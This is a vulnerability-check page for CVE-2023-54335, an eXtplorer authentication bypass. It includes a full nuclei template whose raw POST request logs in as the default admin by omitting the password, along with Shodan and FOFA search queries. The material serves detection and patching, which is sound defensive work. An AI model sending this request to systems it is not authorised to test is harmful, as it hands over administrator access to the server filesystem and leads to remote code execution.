eXtplorer <= 2.1.14 - Authentication Bypass

criticalseverity

9.8CVSS score

13.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

eXtplorer <= 2.1.14 contains an authentication bypass in ext_find_user() (include/users.php). When the `password` POST field is omitted entirely, the password is NULL and the function returns the matching user record without checking any password. With the default "admin" account, an unauthenticated attacker can log in as administrator.

Impact

An unauthenticated attacker gains an administrator session in the file manager, giving full read/write access to the server filesystem and leading to remote code execution.

Fix

Upgrade to a patched eXtplorer release in which ext_find_user() requires a non-null password.

How to confirm it

Send: POST /index.php
Positive when: contains "'success':true"
Send: POST /index.php
Positive when: contains "System Info" and "PHP Info" AND status 200

Run it with nuclei: nuclei -id CVE-2023-54335 -u <target>

The full check

id: CVE-2023-54335

info:
  name: eXtplorer <= 2.1.14 - Authentication Bypass
  author: Securin
  severity: critical
  description: |
    eXtplorer <= 2.1.14 contains an authentication bypass in ext_find_user() (include/users.php). When the `password` POST field is omitted entirely, the password is NULL and the function returns the matching user record without checking any password. With the default "admin" account, an unauthenticated attacker can log in as administrator.
  impact: |
    An unauthenticated attacker gains an administrator session in the file manager, giving full read/write access to the server filesystem and leading to remote code execution.
  remediation: |
    Upgrade to a patched eXtplorer release in which ext_find_user() requires a non-null password.
  reference:
    - https://www.exploit-db.com/exploits/51067
    - https://github.com/soerennb/extplorer/blob/v2.1.14/include/users.php
    - https://nvd.nist.gov/vuln/detail/CVE-2023-54335
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-54335
    epss-score: 0.13662
    epss-percentile: 0.96516
    cwe-id: CWE-287
    cpe: cpe:2.3:a:extplorer:extplorer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: extplorer
    product: extplorer
    shodan-query: http.title:"eXtplorer"
    fofa-query: title="eXtplorer"
  tags: cve,cve2023,extplorer,auth-bypass,unauth

flow: |
  if (http('login')) {
    http('verify');
  }

http:
  - id: login
    raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        option=com_extplorer&action=login&type=extplorer&username=admin&lang=english

    matchers:
      - type: word
        part: body
        words:
          - "'success':true"
        internal: true

  - id: verify
    raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        option=com_extplorer&action=get_about

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "System Info"
          - "PHP Info"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from